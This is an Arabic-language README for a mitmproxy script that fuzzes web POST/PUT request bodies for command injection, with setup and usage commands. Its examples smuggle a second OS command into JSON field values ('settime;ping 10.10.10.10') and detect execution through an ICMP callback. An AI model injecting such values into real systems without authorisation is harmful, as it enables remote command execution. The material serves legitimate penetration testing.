
نص برمجي لتشويش حقن الأوامر في الويب لـ mitmproxy
الوصف:
يقوم هذا السكريبت باختبار (Fuzzing) ثغرات حقن الأوامر (Command Injection) التي تؤدي إلى تنفيذ أوامر عن بعد. تم شرح ثغرات OWASP المماثلة هنا --> https://www.owasp.org/index.php/Command_Injection. سيحاول السكريبت تنفيذ أوامر نظام التشغيل عن طريق الحقن في كل قيمة في جسم طلب POST/PUT. يتطلب اكتشاف التنفيذ أداة أخرى مثل الاستماع لحركة الويب/ICMP أو مراقبة دليل على نظام التشغيل الهدف، إلخ.
على سبيل المثال، إذا لاحظ السكريبت أن المستخدم قام بإجراء طلب POST واحد مع جسم مضبوط على {"webfunction": "settime", "hour": "10", "minute": "00"} فإن السكريبت سينشئ 5 طلبات POST:
1) الطلب الأصلي (كما هو)
{"webfunction": "settime", "hour": "10", "minute": "00"}
2) حقن أوامر على القيمة الأولى
{"webfunction": "settime;ping 10.10.10.10", "hour": "10", "minute": "00"}
3) حقن أوامر على القيمة الثانية
{"webfunction": "settime", "hour": "10;ping 10.10.10.10", "minute": "00"}
4) حقن أوامر على القيمة الثالثة
{"webfunction": "settime", "hour": "10", "minute": "00;ping 10.10.10.10"}
5) طلب POST للتنظيف لإعادة المتغيرات إلى قيمتها الأصلية
{"webfunction": "settime", "hour": "10", "minute": "00"}
إذا تم تنفيذ الحمولة (payload)، فسيحصل المهاجم على حزمة ICMP ping. في هذا المثال، تطبيق الويب معرض لثغرة حقن/تنفيذ الأوامر عبر ضبط وقت النظام.
المتطلبات الأساسية:
-mitmproxy 3.0.0+
#"Virtualenv" method to run mitmproxy 3.0.0+ (ie: your distribution does not support 3.0.0+ binaries)
git clone https://github.com/mitmproxy/mitmproxy.git
#Follow the "Development setup" here -> https://github.com/mitmproxy/mitmproxy (simliar to below)
apt-get install python3-venv
cd mitmproxy
./dev.sh #If error missing python.h headers - try apt-get install python3-dev
#Confirm mitmproxy version 3.0.0+
. venv/bin/activate
(venv) root@kali:/usr/local/src/source-install/mitmproxy3# mitmproxy --version
Mitmproxy version: 3.0.0 (2.0.0dev0920-0x3c934b1a)
Python version: 3.5.4
التثبيت:
#Download ci_fuzz.py
git clone https://github.com/mvdevnull/ci_fuzz.git
أمثلة الاستخدام:
*قم بتعيين المتغيرات في قسم الإعدادات (configuration) في ملف ci_fuzz.py
1)*تشغيل mitmweb باستخدام سكريبت ci_fuzz.py والاستماع على المنفذ 7777 على المضيف المحلي
mitmweb --listen-port 7777 --ssl-insecure -s ./ci_fuzz/ci_fuzz.py
2)*تشغيل mitmweb باستخدام سكريبت ci_fuzz.py كما سبق مع توجيه (upstream) إلى وكيل (Proxy) واجهة المستخدم الرسومية مثل Burp على المضيف المحلي
mitmweb --listen-port 7777 --ssl-insecure --mode upstream:https://127.0.0.1:8080 -s ./ci_fuzz/ci_fuzz.py